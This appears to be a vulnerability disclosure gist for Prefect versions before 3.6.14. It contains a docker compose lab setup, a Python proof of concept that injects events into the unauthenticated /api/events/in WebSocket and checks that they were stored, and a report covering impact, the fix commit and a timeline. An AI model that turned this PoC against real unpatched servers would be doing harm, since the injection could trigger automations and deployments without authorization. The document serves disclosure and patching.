nedlir / **REPORT.md** Secret

Created 2 weeks ago

Code Revisions 1

compose.yaml

```yaml
services:
  postgres:
    image: postgres:14
    environment:
      POSTGRES_USER: prefect
      POSTGRES_PASSWORD: prefect
      POSTGRES_DB: prefect
    volumes:
      - postgres_data:/var/lib/postgresql/data
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U prefect"]
      interval: 5s
      timeout: 5s
      retries: 5

  prefect-server:
    image: prefecthq/prefect:3.6.13
    depends_on:
      postgres:
        condition: service_healthy
    environment:
      PREFECT_API_DATABASE_CONNECTION_URL: postgresql+asyncpg://prefect:prefect@postgres:5
      PREFECT_SERVER_API_HOST: 0.0.0.0
      PREFECT_SERVER_UI_API_URL: http://localhost:4200/api
      PREFECT_SERVER_API_AUTH_STRING: "admin:supersecretpassword"
    command: prefect server start
    ports:
      - "4200:4200"
    healthcheck:
      test: ["CMD", "python", "-c", "import urllib.request as u; u.urlopen('http://localho
      interval: 30s
      timeout: 10s
      retries: 3
      start_period: 60s

```

```
volumes:
  postgres_data:
```

poc.py

```
"""
PoC: Prefect unauthenticated event injection via /api/events/in WebSocket.
Affected: 3.x < 3.6.14. Works even when PREFECT_SERVER_API_AUTH_STRING is set.

Deps: pip install websockets requests

Usage:
    docker compose up -d
    python poc.py
"""

import asyncio
import json
import uuid
from datetime import datetime, timezone

import requests
import websockets

TARGET = "localhost:4200"
HTTP = f"http://{TARGET}"
WS_IN = f"ws://{TARGET}/api/events/in"


def http_auth_check():
    r = requests.get(f"{HTTP}/api/flows", timeout=5)
    if r.status_code != 401:
        raise SystemExit("Auth not enabled. Set PREFECT_SERVER_API_AUTH_STRING.")
    print(f"[+] Confirmed HTTP auth is active: GET /api/flows -> {r.status_code}")


async def inject_events():
    event_id = str(uuid.uuid4())
    event = {
        "id": event_id,
        "occurred": datetime.now(timezone.utc).isoformat(),
        "event": "poc.unauthenticated.injection",
        "resource": {
            "prefect.resource.id": "poc.attacker",
            "prefect.resource.name": "unauthenticated-event-injection",
        },
        "payload": {"note": "Injected without credentials."},
    }

```

```
    print(f"[*] Connecting to {WS_IN} with NO auth ...")
    async with websockets.connect(WS_IN) as ws:
        print(f"[+] Connected (no subprotocol, no token, no Authorization header).")
        await ws.send(json.dumps(event))
        print(f"[+] Sent event id={event_id}")

    return event_id


def verify_ingested(event_id: str):
    r = requests.post(
        f"{HTTP}/api/events/filter",
        auth=("admin", "supersecretpassword"),
        json={"filter": {"id": {"id": [event_id]}}},
        timeout=10,
    )
    if r.status_code != 200:
        print(f"[-] Verify failed: HTTP {r.status_code} {r.text[:200]}")
        return False
    events = r.json().get("events", [])
    if events:
        print(f"[+] Server accepted the event. Stored: {events[0].get('event')}")
        return True
    print("[-] Event not found in DB (may still be propagating).")
    return False


async def main():
    http_auth_check()
    event_id = await inject_events()
    print("[*] Waiting 3s for event to propagate through the pipeline...")
    await asyncio.sleep(3)
    verify_ingested(event_id)


if __name__ == "__main__":
    asyncio.run(main())
```

REPORT.md

Prefect Unauthenticated Event Injection via `/api/events/in` WebSocket

Field	Value
Product	Prefect (PrefectHQ/prefect)
Affected	3.x < 3.6.14
Fixed In	3.6.14
Fix Commit	`f8afecadf8` (PR #20372)
CVE	None assigned
CWE	CWE-306 (Missing Authentication for Critical Function)
CVSS 3.1	7.5 High -- `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N`

Bug

The `/api/events/in` WebSocket endpoint accepts any client without authentication, even when `PREFECT_SERVER_API_AUTH_STRING` is configured. In the pre-fix code:

```
@router.websocket("/in")
async def stream_events_in(websocket: WebSocket) -> None:
    await websocket.accept()   # no auth, no subprotocol check

    async with messaging.create_event_publisher() as publisher:
        async for event_json in websocket.iter_text():
            event = Event.model_validate_json(event_json)
            await publisher.publish_event(event.receive())
```

Compare to the sibling `/api/events/out` in the same file, which correctly called `subscriptions.accept_prefect_socket(websocket)` and enforced the auth handshake. The `/in` endpoint was simply missed.

Starlette's `@app.middleware("http")` does not intercept WebSocket upgrades, so the outer `PREFECT_SERVER_API_AUTH_STRING` middleware does not cover this endpoint either.

Impact

Any network-reachable attacker can:

1. Open a WebSocket to `ws://target:4200/api/events/in` without credentials.
2. Stream arbitrary JSON events.

3. Events are published through `messaging.create_event_publisher()`, stored in the events database, and fed to the automations engine.

Prefect automations trigger on event patterns (resource ids, event names, payloads) and can run deployments, transition flow runs, pause/resume schedules, and send notifications. An attacker who knows the event patterns a target subscribes to can fire those automations remotely. Even without knowing the automations, the attacker can pollute the event log and break observability.

This is an integrity-focused vulnerability (event injection, automation triggering), not a confidentiality one.

Proof

See `poc.py`. It:

1. Confirms HTTP auth is active (`GET /api/flows -> 401`).
2. Opens `ws://localhost:4200/api/events/in` with no credentials, no subprotocol, no token.
3. Sends a crafted event.
4. Reads it back from `/api/events/filter` to confirm it was persisted.

Reproduction

```
docker compose up -d   # Prefect 3.6.13 with auth enabled
pip install websockets requests
python poc.py
```

Fix (3.6.14)

PR #20372 routed `/api/events/in` through `accept_prefect_socket()`, the same auth wrapper used by `/out`:

```
@router.websocket("/in")
async def stream_events_in(websocket: WebSocket) -> None:
    websocket = await subscriptions.accept_prefect_socket(websocket)
    if not websocket:
        return
    ...
```

It also updated `accept_prefect_socket()` to enforce the `prefect` subprotocol and token-based auth when `PREFECT_SERVER_API_AUTH_STRING` is set.

Timeline

Date	Event
2026-01-26	Fix merged (PR #20372)
2026-01-27	3.6.14 released